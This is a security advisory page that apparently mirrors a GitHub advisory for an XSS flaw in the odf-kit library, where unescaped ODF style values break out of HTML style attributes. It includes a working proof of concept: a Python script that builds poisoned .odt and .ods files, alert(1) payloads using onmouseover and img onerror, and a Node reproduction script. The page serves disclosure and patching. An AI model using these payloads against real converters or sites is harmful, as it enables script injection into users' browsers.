KEVWire

Security intelligence, with context.

Response snapshot Nov 4, 2026, 23:06 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-113787

odf-kit: HTML injection leading to XSS in odtToHtml() and odsToHtml() via unescaped style attribute values

ODF style attribute values are interpolated into style="..." attributes without HTML-escaping in both of odf-kit's to-HTML renderers (odtToHtml and odsToHtml).

At a glance

Exploited
Not known
Severity
6.1 Medium (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: odf-kit: 0.14.2. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-3cgg-c5pp-57h6 (opens a new tab)

What happened

Summary

ODF style attribute values are interpolated into style="..." attributes without HTML-escaping in both of odf-kit's to-HTML renderers (odtToHtml and odsToHtml). A double-quote character inside an attacker-controlled style value breaks out of the attribute, allowing arbitrary HTML/attribute injection — and therefore script execution (XSS) — from a crafted .odt or .ods file wherever the rendered output is inserted as HTML, which is the documented purpose of both functions.

ODT renderer (src/odt/to-html/html-renderer.ts)

The renderer has an escapeHtml() helper and applies it consistently to text content and to attribute values — href, src, alt, id, data-author, data-date, citation text all go through it. The inline CSS strings do not.

Continue reading

In renderTextSpan (dist/odt/to-html/html-renderer.js:195):

const css = spanStyleToCss(span.style);
if (css)
 html = ` ${html} `;

The value of e.g. fo:color is copied from the document into style.fontColor verbatim by the parser (extractSpanStyle, read/parser.js:348), then concatenated raw into the attribute. A " in the value terminates the attribute early.

The same unescaped style="${...}" pattern appears at roughly ten other emission sites: paragraph and heading (paragraphStyleToCss), table cells and rows (cellStyleToCss, rowStyleToCss), , and the image style attribute. The affected source attributes include fo:color, fo:background-color, fo:text-shadow, fo:letter-spacing, fo:font-family (via both direct and font-face resolution), fo:margin-*, fo:padding-*, fo:line-height, fo:border*, and style:vertical-align.

ODS renderer (src/ods/to-html/html-renderer.ts) — same bug

buildInlineStyle() assembles the CSS string from cell formatting properties — fo:color, fo:font-size, fo:font-family, fo:background-color, fo:text-align, etc. — with zero escapeHtml calls, and renderCell emits it raw (line 65):

if (includeStyles && cell.formatting) {
 const style = buildInlineStyle(cell.formatting);
 if (style) attrs.push(`style="${style}"`);
}

Additionally, row.height (from style:row-height) goes raw into the row element (line 95):

const style = includeStyles && row.height ? ` style="height:${row.height}"` : "";
return ` ${cells} `;

The same injection is reachable through the public odf-kit/ods/to-html export (odsToHtml()), so both to-HTML directions are affected.

Version scope

The odt/to-html and ods/to-html modules first shipped in 0.14.0; the current latest release is 0.14.1. The PoCs were re-ran against the unreleased main branch (commit 270a361) — both injections still fire, so no fix has landed past the release.

PoC

Each PoC is a minimal ODF package (mimetype + META-INF/manifest.xml + content.xml) whose content.xml contains exactly one poisoned automatic style. The files are generated by this short Python script (stdlib only, no dependencies) — save as build-pocs.py and run python3 build-pocs.py:

import zipfile

def build(path, mimetype, content):
 # ODF requires 'mimetype' first and stored uncompressed
 with zipfile.ZipFile(path, "w") as z:
 z.writestr(zipfile.ZipInfo("mimetype"), mimetype, compress_type=zipfile.ZIP_STORED)
 z.writestr("META-INF/manifest.xml",
 ' \n'
 ' \n'
 ' \n'
 ' \n'
 ' \n')
 z.writestr("content.xml", content)

ODT = "application/vnd.oasis.opendocument.text"
ODS = "application/vnd.oasis.opendocument.spreadsheet"
HEAD = (' \n'
 ' ')

Q = """
p1 = f"red{Q} onmouseover={Q}alert(1){Q} x={Q}" # attribute injection
p2 = f'red{Q}><img src=x onerror={Q}alert(1){Q}><x style={Q}' # full markup injection

# .odt: one paragraph with a poisoned automatic text style
def odt(p):
 return (HEAD + '\n \n'
 ' \n'
 f' \n'
 ' \n \n'
 ' hello '
 ' \n')

# .ods: one cell with a poisoned automatic cell style
def ods(p):
 return (HEAD + '\n \n'
 ' \n'
 f' \n'
 ' \n \n'
 ' '
 ' '
 ' hello '
 ' \n')

build("poc1.odt", ODT, odt(p1))
build("poc2.odt", ODT, odt(p2))
build("poc3.ods", ODS, ods(p2))

This produces poc1.odt, poc2.odt and poc3.ods. The only attacker-controlled input is the fo:color value on the style — for poc1 it reads, as stored in content.xml:

poc1.odt — attribute injection (ODT). The fo:color value (unescaped) is:

red" onmouseover="alert(1)" x="

(encoded as " in the XML). Output of odtToHtml(bytes, { fragment: true }):

 hello

The quote breaks out of style, and onmouseover becomes a real attribute on the span.

poc2.odt — full markup injection (ODT). The style value is:

red"> hello

poc3.ods — same injection via the ODS renderer. A crafted .ods whose cell automatic style carries a poisoned fo:color value (same payload as poc2). Output of odsToHtml(bytes):

 hello

Reproduction script:

import { readFileSync } from 'fs';
import { odtToHtml } from 'odf-kit/odt/to-html';
import { odsToHtml } from 'odf-kit/ods/to-html';

const bytes = (p) => new Uint8Array(readFileSync(p));

console.log(odtToHtml(bytes('poc2.odt'), { fragment: true }));
console.log(odsToHtml(bytes('poc3.ods')));

This was found while auditing ODT import paths in a web application that uses odf-kit as its converter. That application happens to sanitize the output downstream, so minimal standalone reproductions were built against the published odf-kit 0.14.1 package directly in Node.

Impact

Any consumer that renders odtToHtml() or odsToHtml() output as HTML — which is both functions' documented purpose — gets XSS from a crafted .odt/.ods file they convert. Untrusted file → arbitrary tags and attributes → script execution in the host page with the page's origin. The fragment mode ({ fragment: true }) is equally affected. The header comment in the ODT renderer currently promises "the output is safe to embed in any context", so consumers may reasonably b

Affected package ranges reported by GitHub: odf-kit: >= 0.6.0, < 0.14.2

Scores and how they were measured

CVSS base severity

6.1

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-3cgg-c5pp-57h6 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3cgg-c5pp-57h6, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 4). odf-kit: HTML injection leading to XSS in odtToHtml() and odsToHtml() via unescaped style attribute values (CVE-2026-113787). https://kevwire.com/record/CVE-2026-113787

MLA

"odf-kit: HTML injection leading to XSS in odtToHtml() and odsToHtml() via unescaped style attribute values (CVE-2026-113787)." KEVWire, 4 Nov. 2026, kevwire.com/record/CVE-2026-113787.

Chicago

KEVWire. "odf-kit: HTML injection leading to XSS in odtToHtml() and odsToHtml() via unescaped style attribute values (CVE-2026-113787)." Last modified November 4, 2026. https://kevwire.com/record/CVE-2026-113787.

Evidence summary (plain text)

odf-kit: HTML injection leading to XSS in odtToHtml() and odsToHtml() via unescaped style attribute values (Nov 4, 2026).
ODF style attribute values are interpolated into style="..." attributes without HTML-escaping in both of odf-kit's to-HTML renderers (odtToHtml and odsToHtml). A double-quote character inside an attacker-controlled style value breaks out of the attribute, allowing arbitrary HTML/attribute injection — and therefore script execution (XSS) — from a crafted .odt or .ods file wherever the rendered output is inserted as HTML, which is the documented purpose of both functions.
CVSS 6.1 (version 3.1; evidence as of Nov 4, 2026; https://github.com/advisories/GHSA-3cgg-c5pp-57h6).
Sources:
GitHub-reviewed advisory GHSA-3cgg-c5pp-57h6: https://github.com/advisories/GHSA-3cgg-c5pp-57h6
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-113787.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 4, 2026, 23:05 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail